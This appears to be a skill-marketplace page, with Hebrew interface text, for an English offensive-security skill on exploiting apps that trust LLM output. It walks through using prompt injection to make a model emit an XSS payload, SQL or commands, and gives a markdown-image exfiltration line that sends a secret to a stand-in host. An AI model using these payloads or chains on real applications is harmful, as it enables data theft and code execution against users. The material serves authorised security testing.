דילוג לתוכן
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
noorqureshi/ai-insecure-output-handlingAI, סוכנים ו-MCP

ai-insecure-output-handling

⁨Exploit apps that trust LLM output — pass model text unsanitized into XSS sinks, SQL, shell, code, or downstream calls. Load when LLM output is rendered as HTML/markdown, executed, or fed to another system. Signals: chatbot output shown with innerHTML/dangerouslySetInnerHTML, "run this code", LLM-ge⁩

v2026.10.14-ee0e0c53 התקנות⁦+3⁩ ב-7 ימים27 כוכביםMITסונכרן לפני 22 שעות

התקנה

עדיין אין לכם את ה-CLI של NotHoly? התקינו אותו קודם.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install noorqureshi/ai-insecure-output-handling

נכתב אל ⁦~/.notholy/skills⁩ אחרי בדיקת החתימה וה-SHA-256.

חתימהחתום, ed25519
SFQ7oMyxvD…USe1HRDg==ה-CLI בודק את ה-SHA-256 ואת החתימה לפני שהוא כותב קובץ כלשהו.
חבילה4c2fec1e…41b78dbf
4c2fec1e08e0…629241b78dbfקובץ אחד · ⁦1.5 KB⁩
סריקהנמוךממצא אחד
  • קישורים לדומיינים חיצוניים
לסריקה המלאה
מקורgithub.com/NoorQureshi/security-skills/tree/main/skills/ai-ml/ai-insecure-output-handling@ee0e0c5

הפריט הזה עדיין לא נכתב בעברית, ולכן הוא מוצג בשפה אחרת: English.

When it applies

The app treats LLM output as trusted and passes it into a dangerous sink — rendered as HTML, executed as code/SQL/shell, or forwarded to another API. The model becomes an injection vector, especially when its input is attacker-influenced (→ chain with ai-prompt-injection).

Why it works

Developers trust their own model's output, but it's just text — and an attacker can steer it via prompt injection. If that text lands in innerHTML, eval, a SQL string, a shell command, or a system call without sanitization, you get XSS/RCE/SQLi through the LLM.

Method

  1. Find the sink: where does model output go? HTML render (innerHTML, markdown→HTML, dangerouslySetInnerHTML), code exec (eval, code interpreter), DB (LLM-built query), shell, or another service call.
  2. Get the model to emit a payload: via direct or indirect prompt injection, make the output contain <img src=x onerror=alert(document.domain)>, a javascript: link, SQL, or a command.
  3. Route to impact:
    • Rendered output → stored/reflected XSS (fires for the user or others viewing the chat).
    • Code-interpreter/tool → RCE (→ ai-agent-tool-abuse).
    • LLM-generated SQL/commands executed → SQLi / command injection.
  4. Markdown exfil: model emits ![x](https://collab/?d=<secret>) → beacons data on render.

Gotchas

  • The bug is in the app's handling, not the model — the fix is output encoding/sandboxing, same as any injection.
  • Stored XSS via chat history hits every viewer — high impact, easy to miss.
  • Combine with prompt injection to reliably control the output; prove real execution, not just odd text.

Verify success

Model-produced content executes in a sink — XSS firing in the app's origin, code/command execution, or injected SQL — traceable to LLM output.

References

OWASP LLM Top 10 (2025) LLM05; PortSwigger "web LLM attacks"; markdown-exfil write-ups.

הקבצים בגרסה הזו

הרשאות

הרשאההוצהרנמצא בסריקה
קורא קבציםלאלא
כותב קבציםלאלא
מריץ פקודות shellלאלא
משתמש ברשתכןכן
משתמש במחבריםלאלא
שולט בדפדפןלאלא

ממצאי הסריקה

נבדק ב-13 בנוב׳ 2026

  1. מידעקישור · קישורים לדומיינים חיצוניים

סריקה נקייה מורידה את הסיכון, אבל לא מוכיחה שהחבילה בטוחה. כדאי לקרוא מה מתקינים.

גרסהפורסמהCommitSHA-256חתימהשינוי בהרשאות
v2026.10.14-ee0e0c513 בנוב׳ 2026ee0e0c54c2fec1eחתומה–

שאלו כל מה שהסקופ מאפשר.

יוצרים חשבון, מוסיפים קרדיטים ושואלים את השאלה הראשונה בצ׳אט או בטרמינל.

  1. 1/3

    יצירת חשבון

    פרטי או חברה. אפשר לעבור לחשבון חברה אחר כך בלי לאבד יתרה או מפתחות.

    פרטיחברה
  2. 2/3

    הוספת קרדיטים

    בכרטיס אשראי. תשלום לפי טוקן, בלי מנוי.

    $5.00טעינה מינימלית
  3. 3/3

    שאלה ראשונה

    בצ׳אט, או להתקין את ה-CLI ולהריץ notholy login בטרמינל.

    $ notholy login